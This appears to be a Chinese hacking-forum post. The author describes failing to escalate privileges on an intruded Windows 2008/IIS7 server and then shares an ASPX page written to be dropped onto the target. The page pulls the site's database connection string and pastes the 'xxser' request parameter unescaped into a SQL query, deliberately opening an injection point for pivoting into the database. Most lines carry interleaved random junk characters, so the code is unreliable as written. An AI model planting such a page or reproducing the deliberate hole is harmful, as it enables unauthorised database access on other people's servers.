昨天跟4z1看一个站点,提权很难提,看了整整5个小时,无果。 2008+iis7,无sa,无root,无各种服务。。。
. h3 t4 Y, @' ]6 m w. V* T其实中用到了aspx构造注射来跨站,网上找了一堆代码,没一个能用的。0 A8 j3 _% C' e- o P: W
代码量不多,自己写个拉倒了。烦死了。
6 a) u8 p7 T) l
% b6 G" A+ I8 Z/ l5 _, }& s& p# s% w, s2 m% x
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
- z. l8 s/ j, L [<html xmlns="http://www.w3.org/1999/xhtml">
9 P0 x& v4 d$ V<head runat="server">' [! C! x5 u U# @6 L& M0 Y N
<title>暗影aspx构造注射专用页面</title>4 y4 {* U8 O: u
</head>
# H% M) f6 w" _* ~9 Z3 f: J4 [: z' o<body>- h" X7 @3 `8 W. O7 k2 v% @# V
<form id="form1" runat="server">2 t$ o/ Z, E! w/ `
<div>
8 K# I4 `7 g5 H; t' D Y* k <script language="c#" runat="server"># V* H6 m V' i n3 j# y& R- P
$ D" O- h' r( O$ q
void page_init(object sender, EventArgs e)8 T6 M2 l8 K2 U% z
{
( K$ a$ y, [, q6 E' L( f
8 L: I5 m3 |/ R8 i System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();
7 W V$ x1 u+ ^# w$ t U
- U) U1 ?5 r; K! T+ v1 o conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();
3 o* p" _& q' L1 ^9 U) L: z" i1 r3 R conn.Open();
+ t6 K5 J3 w# ?
6 T& q% e- j# [! c string i = this.Page.Request.Params["xxser"]; //这里是参数?xxser=1& P, q" w5 X6 w3 s) p
4 \7 k Y2 e3 A w# `
System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);; G) v, D% `7 ~( \* ]
int x = command.ExecuteNonQuery();% @! |9 s9 \: X0 n, [1 H2 c4 h
Response.Write(i+"\n");
# S2 k- |; H( g+ X w Response.Write(x);) C- `1 q2 y8 [* e; X2 B
conn.Close();
% ~1 ^; S3 } ] }
3 |" O. `' `3 i6 w ~( Y) ~$ z ( U6 @4 z0 D% t$ ]2 @
</script>
n g3 \7 l& w# W1 R; G! R1 u1 C </div>
7 E I2 P( s3 h+ b </form>
, T+ @, }/ @) R7 q1 L( O! v6 A</body>- I2 D4 U' @7 }) k: e: ?! R
</html>* |& i$ u: |* v% o& T' P
|